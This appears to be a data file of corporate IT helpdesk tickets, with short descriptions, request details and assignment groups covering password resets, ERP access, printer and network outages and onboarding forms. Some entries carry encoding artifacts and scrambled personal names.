\_x000D\_
received from: ucdwyxko.apktrsyq@gmail.com\_x000D\_
\_x000D\_
"we are unable to run a macro which is used to open an excel/word file in solidworks after skype updation (since 24.02.2016).\_x000D\_
this macro is working fine in system where skype is not installed.\_x000D\_
\_x000D\_
kindly resolve the issue at the earliest".\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_19.Ticket with Short description: phone email , Description:
received from: baoapacg.wanrtyg@company.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: babiluntr, Description: \_x000D\_
\_x000D\_
received from: blktuiae.jzakfmhw@gmail.com\_x000D\_
\_x000D\_
my licence for babiluntr will expire in 30 days\_x000D\_
\_x000D\_
please update this to use it more\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: pls help to reset the password for this erp id: tempuser., Description: pls help to reset the password for this id: tempuser., is assigned to Assignment group: GRP\_2.Ticket with Short description: walkmeåŠ è½½æ•…éšœ, Description: walkmeä¸‹è½½å®‰è£…åŽï¼ŒæŒ‰é’®ä¸èƒ½åœ¨æµè§ˆå™¨ç•Œé¢æ˜¾çŽ°, is assigned to Assignment group: GRP\_48.Ticket with Short description: ç”µè„‘å¼€æœºæ•…éšœ, Description: åŽŸææ–™ä»“åº“ç”µè„‘å¼€æœºè“å±ï¼Œä¸»æœºé¢æ¿3ã€4æŒ‡ç¤ºç¯æŠ¥è­¦, is assigned to Assignment group: GRP\_48.Ticket with Short description: gas station telephone line disconnection , Description: gas station telephone line disconnection , is assigned to Assignment group: GRP\_31.Ticket with Short description: å¼€ä¸äº†æœº, Description: å¼€ä¸äº†æœºï¼Œæ˜¾ç¤ºç³»ç»Ÿåäº†ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: im locked out of erp agian, Description: name:sndaofyw jetcxpda
language:
browser:microsoft internet explorer
email:vichtyuky.warhtyonack@company.com
customer number:
telephone:
summary:im locked out of erp agian, is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs help with extended monitor projection., Description: user needs help with extended monitor projection.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user witrh the extended monitor projection.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ess login issue, Description: ess login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad \_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: global\_telecom\_1 broadband, Description:
received from: vnetbgio.lqxztben@gmail.com
hi,
not sure where to direct this. i was told to contact the help desk because my global\_telecom\_1 broadband isn't working when trying to use my laptop from a remote location.
am i in the right place?
davidthd rofghach
channel partner sales engineer
vnetbgio.lqxztben@gmail.com<mailto:vnetbgio.lqxztben@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to complete forecast, Description: unable to complete forecast
jochegtyhu is on vacation
can you help me?
fnqelwpk ahrskvln
regional manager latin amerirtca
fnqelwpk.ahrskvln@gmail.com
from: fnqelwpk ahrskvln
sent: tuesday, september 6, 2016 2:42 pm
to: ftnijxup sbltduco <ftnijxup.sbltduco@gmail.com>
subject: help with scm\_software
jochegtyhu,
how are you?
what does this mean? what can i do to complete my forecast?
fnqelwpk ahrskvln
regional manager latin amerirtca
fnqelwpk.ahrskvln@gmail.com
, is assigned to Assignment group: GRP\_67.Ticket with Short description: issues logging in to skype after recently changing my password, Description: name:obanjrhg rnafleys
language:
browser:microsoft internet explorer
email:obanjrhg.rnafleys@gmail.com
customer number:
telephone:
summary:issues logging in to skype after recently changing my password, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_9 - pi uacyltoe hxgaycze system
enter user id of user having the issue: vvgtycargvc
please restart password, its blocked.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_2063d failed in job\_scheduler at: 09/06/2016 15:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063d failed in job\_scheduler at: 09/06/2016 15:53:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: vip 2 -when i try to access the ethics training link i receive an error message: error #2001, organization code not found., Description: this happens if i log in via public internet as well as internet + vpn., is assigned to Assignment group: GRP\_0.Ticket with Short description: user having issues login in to the pc with the new password., Description: user having issues login in to the pc with the new password.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login using the new password.\_x000D\_
-help the user login to the company vpn and sync the new password to the company network.\_x000D\_
-help the user login to both the outlook and skype.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for ticket\_no0437735, Description: ticket update for ticket\_no0437735, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to erp SID\_34, Description: unable to log in to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: global erp crm: please investigate why agbighyail espinosa's employee account in erp crm is not recognized as an employee, Description: hello,
it please advise the status on the below request.
hi nafghyncy,
agbighyail espinosa appears to be an active employee. after all, she entered a bunch of sales orders in erp ecc over the last few days. yet there is a central block on her employee account in erp crm so that it does not show up in the search results when we search for employee accounts using "role is employee". unless you already know the reason for this, would you please check with hr why her account has a central block on it? it seems like it could possibly be an error.
gracias / , is assigned to Assignment group: GRP\_15.Ticket with Short description: engineering request 2248675 assignment (revise component), Description: engineering request 2248675 assignment (revise component) has been completed but cannot be deleted from my workflow. , is assigned to Assignment group: GRP\_11.Ticket with Short description: unable to log in to supply\_chain\_software, Description: unable to log in to supply\_chain\_software, is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics undeliverable e-mails, Description: good morning,\_x000D\_
\_x000D\_
please review and advise on these "undeliverable" e-mail addresses. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to activate new iphone, Description: need to activate new iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: report not running properly and delivering results to dataloads-app, Description: bex report is producing a report with 0 size instead of proper reporting. xsdb\_o20\_db\_credits is supposed to run on the 2nd of each month along with 3 other dashbankrd reports but for the last couple of months the report has been empty. this has happened previously but only with the credits and not any of the 3 other reports. please correct so it is available for next month. this is for a global dashbankrd that is used in some areas for compensation. , is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to access travel site, Description: unable to access travel site , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset via password\_management\_tool password manager, Description: password reset via password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to post document to SID\_34, Description: unable to post document to SID\_34 using spreadsheet. , is assigned to Assignment group: GRP\_10.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_2\_x000D\_
\_x000D\_
enter user id of user having the issue: vvgtycargvc\_x000D\_
\_x000D\_
\_x000D\_
"user account not in validity date", is assigned to Assignment group: GRP\_2.Ticket with Short description: password re-set, Description: \_x000D\_
\_x000D\_
received from: zenjimdghtybo.xirzfpob@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please re-set mu login password for attendance\_tool.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d2088d.049859f0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery failures, Description: material # 7359351\_x000D\_
location: plant\_33\_x000D\_
sto # 5019195083\_x000D\_
product available. cannot create delivery., is assigned to Assignment group: GRP\_6.Ticket with Short description: my password is invalid. can you help me. thanks., Description: my password is invalid. can you help me. , is assigned to Assignment group: GRP\_0.Ticket with Short description: computer not booting into windows, Description: touchpad and usb mouse not working \_x000D\_
\_x000D\_
computer not booting into windows, is assigned to Assignment group: GRP\_3.Ticket with Short description: user has a new personal device for activation without the approval form., Description: user has a new personal device for activation without the approval form.\_x000D\_
-advised the user to forward the approval form to activate the company email on personal device., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for inc1548457 , Description: ticket update for inc1548457 , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for ticket\_no0437326, Description: ticket update for ticket\_no0437326, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows zdsxmcwu thdjzolw, Description: windows zdsxmcwu thdjzolw, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to distributor\_tool with new password and view saved customers details , Description: unable to login to distributor\_tool with new password and view saved customers details , is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for yolktfas fyoxqgvh using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: expense reports submissions in my workflow, Description:
received from: sbvlxuwm.yanbikrx@gmail.com
according to oneteam, jashyht mkuhtyhui (6566632) and qjeymnzs wgpelvyn (6456967) are part of my team now. however, their exepsne report submissions are not coming to my workflow for approval. please look into this and advise.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: terminated user called for access to the hub, Description: terminated user called for access to the hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2: sim card locked for the company provided phone, Description: vip2: sim card locked for the company provided phone, is assigned to Assignment group: GRP\_28.Ticket with Short description: dob report showing blank data for yzugpdco nsyapewg, Description: this report was working up until september 3rd. now it shows no data when laurent opens the report within reporting\_tool (browser).\_x000D\_
\_x000D\_
report link used is as follows:\_x000D\_
#/site/certified\_content/views/dailyorderbillingreport/mtd-ctry?:iid=3 \_x000D\_
\_x000D\_
output is per attached.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: the dynamics crm url checks is reporting a : down status on, company-crm-sp-mfg\_tooltion.azurewebsites.net. please investigat, Description: observing below alert in monitoring\_tool since 10:50 am on 09/06 et:\_x000D\_
\_x000D\_
application "dynamics crm url checks" on node "company-crm-sp-mfg\_tooltion.azurewebsites.net" is down , is assigned to Assignment group: GRP\_60.Ticket with Short description: need adobe flash player installed on the pc, Description: need adobe flash player installed on the pc, is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker ag71 in fÃ¼rth, Description:
received from: osjqfbvw.hlmgrfpx@gmail.com
hallo,
unser netzwerkdrucker ag71 hÃ¶rt nicht mehr auf zu drucken.
ein â€žgast" scheint versehentlich immer neue druckauftrÃ¤ge zu generieren bzw. laut service techniker vom hersteller hp ist wohl ein spool auftrag im netz gespeichert â€“ wir kÃ¶nnen die druckauftrÃ¤ge nicht sehen, nachverfolgen oder stoppen.
alle versuche, die druckauftrÃ¤ge abzubrechen, sind fehlgeschlagen, auch ein ziehen des steckers oder des lan-kabels nÃ¼tzt nichts.
wer kann helfen?
laut hp sollte das der administrator kÃ¶nnen.
danke.
gabryltke schÃ¼tt
human resources
osjqfbvw.hlmgrfpx@gmail.com<mailto:osjqfbvw.hlmgrfpx@gmail.com>
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_28.Ticket with Short description: unable to login to pc after changing the password , Description: unable to login to pc after changing the password , is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery due list created no delivery note for sto e.g. aw mm#4586645 sto#5019195160- plant\_3, please forward to srinfhyath , Description: deliver due list ews1 is multiple times running on daily basis. sometimes ddl does not create delivery notes from sto, even though material is available and shipping date overdue. \_x000D\_
1. check why ddl did not select sto 5019195160\_x000D\_
2. check what sto are overdue \_x000D\_
3. adjust ddl \_x000D\_
4. keep user informed about your result. \_x000D\_
many , is assigned to Assignment group: GRP\_18.Ticket with Short description: circuit outage: vogelfontein, south africa , sa mpls circuit is down at 10:51 am et on 06/09. site is up on vpn circuit., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_10:51 am et on 06/09\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation - personally owned samsung s7, Description: tom called in to get the device activated. please find the mobility agreement attached., is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: 7350 - 2nd battery not charging, Description: the battery on the display is charging up to 100% and it works.\_x000D\_
the battery with the keybankrd is at 76% - plugged in, not charging.\_x000D\_
he is not sure if he is using the charger for the docking station or the charger supplied with the 2 in 1 device.\_x000D\_
we have swapped the power point, still no go.\_x000D\_
\_x000D\_
updated bios from a08 to a10, still no go.\_x000D\_
\_x000D\_
please advise...\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: reset the password for tsicojkp kghaozew on windows login, Description: this is not resolved per the incident i placed earlier. i need my passwords reset. please start with windows then i will attempt to update all with password\_management\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1953b failed in job\_scheduler at: 09/06/2016 10:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953b failed in job\_scheduler at: 09/06/2016 10:37:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: please reset my password for supply\_chain\_software., Description: please reset my password for supply\_chain\_software.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics login not recognized, Description: ethics login is not being recognized. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load outlook , Description: unable to load outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print from the default printer, Description: unable to print from the default printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for tsicojkp kghaozew using password\_management\_tool password reset., Description: i am locked out of password\_management\_tool id password manager to sync my passwords and my o365 password is not working. please reset my password., is assigned to Assignment group: GRP\_17.Ticket with Short description: employment status - three new non-employee [enter user's name], Description: \*page down to ensure that all required data fields are complete before submitting\*
use this template for consultants, temps, interns, vendors, etc. please complete all entries.
first name rita
last name baugtymli
location germany
manager / sponsor lkwspqce knxaipyj
cost center ?
external company name deloitte & touche
what systems do they need access on erp SID\_34
mii? no
if yes â€“ is user operator, admin or supervisor?
security note: for mii â€“ add im:shopfloor\_user\_\* to user's SID\_34 account
is company email required for this person ? no
if yes, by default a k1 license will be assigned for use of owa and collaboration\_platform only, not outlook client, or skype.
if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer.
assign a k1 or e1 license?
access like who (required â€“ this is to review copy-from person's access for approvals) create SID\_34 with it:auditor\_v
requires access until (date) 09/30/2016
is the computer owned by company no
if yes, is it a laptop or desktop ? computer name:
is remote access/vpn required lcitrixerpall
if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn.
start date 09/01/2016
first name maximgbilian
last name wilsfrtch
location germany
manager / sponsor lkwspqce knxaipyj
cost center ?
external company name deloitte & touche
what systems do they need access on erp SID\_34
mii? no
if yes â€“ is user operator, admin or supervisor?
security note: for mii â€“ add im:shopfloor\_user\_\* to user's SID\_34 account
is company email required for this person ? no
if yes, by default a k1 license will be assigned for use of owa and collaboration\_platform only, not outlook client, or skype.
if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer.
assign a k1 or e1 license?
access like who (required â€“ this is to review copy-from person's access for approvals) create SID\_34 with it:auditor\_v
requires access until (date) 09/30/2016
is the computer owned by company no
if yes, is it a laptop or desktop ? computer name:
is remote access/vpn required lcitrixerpall
if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn.
start date 09/01/2016
first name carolutyuin
last name votgygel
location germany
manager / sponsor lkwspqce knxaipyj
cost center ?
external company name deloitte & touche
what systems do they need access on erp SID\_34
mii? no
if yes â€“ is user operator, admin or supervisor?
security note: for mii â€“ add im:shopfloor\_user\_\* to user's SID\_34 account
is company email required for this person ? no
if yes, by default a k1 license will be assigned for use of owa and collaboration\_platform only, not outlook client, or skype.
if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer.
assign a k1 or e1 license?
access like who (required â€“ this is to review copy-from person's access for approvals) create SID\_34 with it:auditor\_v
requires access until (date) 09/30/2016
is the computer owned by company no
if yes, is it a laptop or desktop ? computer name:
is remote access/vpn required lcitrixerpall
if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn.
start date 09/01/2016, is assigned to Assignment group: GRP\_2.Ticket with Short description: need account adding to my crm , Description:
received from: zfburidj.jmilguev@gmail.com
hi there,
can you please add the following account to my crm. it is one of my assigned accounts but i cannot see it.
account name - pow578ercor
erp # - 8185636495
, is assigned to Assignment group: GRP\_40.Ticket with Short description: install zebra \we\_wu101 \pfjwinbg ljtzbdqg, Description: install zebra \we\_wu101 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: organisation chart data in outlook, Description: dear it team , \_x000D\_
\_x000D\_
pl look into below screen shot omfvxjpw htiemzsg is appearing in outlook in my org chart , pl remove the same . \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: travelers, Description: \_x000D\_
\_x000D\_
received from: qcfmxgid.jvxanwre@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i have two more travel profiles. please see attached/.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: master cost center missing for a person number 11177056737 , Description: master cost center missing for a person number 11567177037 -
cost center should be ltu017, is assigned to Assignment group: GRP\_52.Ticket with Short description: mismatch between plant\_63 & erp inventrory , Description: \_x000D\_
\_x000D\_
received from: ikerxqwz.prkyuitl@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
every month we see difference in quantity in inventory between plant\_63 stocks & erp stocks .\_x000D\_
\_x000D\_
our assumption was that in erp we inward stock without paper (customer return with- out paper but good for resale ) , but it is not so.\_x000D\_
\_x000D\_
in this connection attaching the extraction of plant\_63 register as on 31.8.16 , erp inventory (plant\_63) and workings which show difference between\_x000D\_
erp & plant\_63 register\_x000D\_
\_x000D\_
i have highlighted few material code in red color which is the difference between erp & plant\_63 and throws light that inward is made with paper also downloaded screen shot of 2 material code for your reference\_x000D\_
\_x000D\_
request you to investigate and revert with reasons for such difference .\_x000D\_
\_x000D\_
this is time bound activity and we expect this to be closed by sept 25 , 2016 as the same needs to informed to the auditor for sept 30,2016 .\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: infopath issue - some rules were not applied, Description: infopath issue - some rules were not applied
, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: circuit outage: company vpn circuit is down at 8:25 am et on 09/06. site is up on primary circuit, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_slo site\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_8:25 am et on 09/06\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to log in to erp SID\_34 , Description: unable to log in to erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: request it loaner laptop; need on \_09\_ - \_06\_ - \_2016\_, Description: \*\* loaners laptops are currently only available for usa employees in usa, pa (hq) and usa employees in usa, ar . we apologize for the inconvenience. \*\*\_x000D\_
\_x000D\_
need laptop on \_09\_ - \_06\_ - \_2016\_ (3 days notice is required for a loaner to be ready; laptops can be reserved no more than 2 weeks in advance).\_x000D\_
\_x000D\_
will return laptop on 09\_ - \_07\_ - \_2016(laptops can be borrowed for a maximum of 3 weeks).\_x000D\_
\_x000D\_
does user need remote access (vpn) ? no\_x000D\_
if yes, who is the requester's manager (approval needed) ?\_x000D\_
\_x000D\_
laptop comes with erp, vpn, etc.\_x000D\_
\_x000D\_
additional software needed?: \_x000D\_
\_x000D\_
office 2000 (word, excel, powerpoint) y/n? \_\_\_\_\_x000D\_
outlook y/n? \_\_\_\_\_x000D\_
\_x000D\_
the following will be updated by it:\_x000D\_
\_x000D\_
dell serial number = \_x000D\_
company asset tag = \_x000D\_
\_x000D\_
note: if the laptop and all parts are not returned as scheduled, the requestor's department will be charged replacement cost's., is assigned to Assignment group: GRP\_3.Ticket with Short description: help with mobile phones, Description: \_x000D\_
\_x000D\_
received from: mfizgpoy.akbvznci@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i'm having issues with my company phone and i am not sure who to contact to help me correct the issue. can i please get the contact that can help me solve this problem?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print. requesting for printer drivers., Description: unable to print. requesting for printer drivers., is assigned to Assignment group: GRP\_0.Ticket with Short description: impact award password reset, Description: impact award password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: hotwlygp afukzhnm - frequent account lockout, Description: account keeps locking out after the last password change,, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client - a plug-in is not responding, Description: i need to view attachments in er2248695, but i get an error "a plug-in is not responding" and i cannot see the attachments. without seeing the attachments, i do not know what changes to make to the drawings and the parts are on hold in manufacturing.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: fc on departments\distribution, Description: moin marfhtyio,\_x000D\_
\_x000D\_
kannst du bitte herr lzuwmhpr riuheqsg fÃ¼r das laufwerk departments (\\HostName\_717), distribution, formulare zulassen. danke! \_x000D\_
\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_12.Ticket with Short description: probleme mit we95\ drucker druckt nicht \dknejifu dljvtebc, Description: probleme mit we95\ drucker druckt nicht \dknejifu dljvtebc, is assigned to Assignment group: GRP\_24.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for ugawcoye jcfqgviy using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: tastatutur defekt \eewhse \vzqomdgt jwoqbuml, Description: tastatutur defekt \eewhse \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: install EU\_tool und zebra \ewew8323506 \zlqfptjx xnklbfua, Description: install EU\_tool und zebra \ewew8323506 \zlqfptjx xnklbfua, is assigned to Assignment group: GRP\_24.Ticket with Short description: dock station - required , Description:
received from: jmoqelbc.fbzsyjne@gmail.com
hello team,
can you please arrange a dock station for my laptop model â€“ latitude e5450, please let me know if you required further details.
br,aghynil
, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp access issue bex hana, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_37\_x000D\_
\_x000D\_
enter user id of user having the issue: dofghbmes\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: bex\_x000D\_
\_x000D\_
describe the issue: \_x000D\_
\_x000D\_
password logon no longer possible - too many failed attempts\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: issues with the computer - error messages / not enough space , Description: issues with the computer. the user can't work. there are regular error messages regarding not enough space on the computer.
the files on the hard drive have been cleaned up, but the problem did not dierppear.
user: effeghnk
computer name: efdw8111210
please see the attached screenshots with error messages.
the user tried contacting the it help via it chat support, but it did not work on this computer probably due to recent issues.
for further questions, please contact mizpywld dnrubpis at the tel. or via sky business.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for imuwhokc ijdfnayb using password\_management\_tool password reset., Description: i reset my password tonight and already forgot it. i can't log on to anything. , is assigned to Assignment group: GRP\_17.Ticket with Short description: bobj - erp business objects, Description:
received from: ctzykflo.evzbhgru@gmail.com
dear all,
can someone please check .
we do have some new sales employees but the name doesn't show in the "sales plan vs actual" bobj report.
we have f.ex. #
Â· 1044565291 = mjvfxnka zvjxuahe and
Â· 1044535680 = wohzmlib fxwjhapo.
can someone please check and let us know when we will also see the names of the sales people.
is there no automatic routine ?
[cid:image001.jpg@01d2082c.9c01e9c0]
[cid:image002.jpg@01d2082c.9c01e9c0]
, is assigned to Assignment group: GRP\_9.Ticket with Short description: laptop login issue \_kxmidsga zokivdfa, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
i am facing issue with login into laptop while starting\_x000D\_
\_x000D\_
the below window is coming (screen shot attached). due to this i am not able to login when i am using laptop as an pad. keybankrd is not showing. so every time i have to connect it with keybankrd to enter user id & password.\_x000D\_
laptop model: dell latitude 7350\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20849.f8d3a360]\_x000D\_
\_x000D\_
request you to kindly solve the problem.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit outlook \axesnghb cyzuomxa, Description: probleme mit outlook \axesnghb cyzuomxa, is assigned to Assignment group: GRP\_24.Ticket with Short description: visual studio 2015 license issue, Description: \_x000D\_
\_x000D\_
received from: rmezbnqt.ntbmkpuh@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
visual studio professional 2015 in my machine has a license issue, warning message indicates license trial has been expired.\_x000D\_
\_x000D\_
but the coverage period for the existing vs2015 license is till 30nov2018.\_x000D\_
\_x000D\_
please refer to the attached image for the error description and license validity details.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to send/receive emails from external parties - eonhuwlg sxthcobm, wydorpzi taxcizwv, praddgtip kumfgtyar, Description:
received from: izwtdnfq.xptuoaid@gmail.com
hi it team,
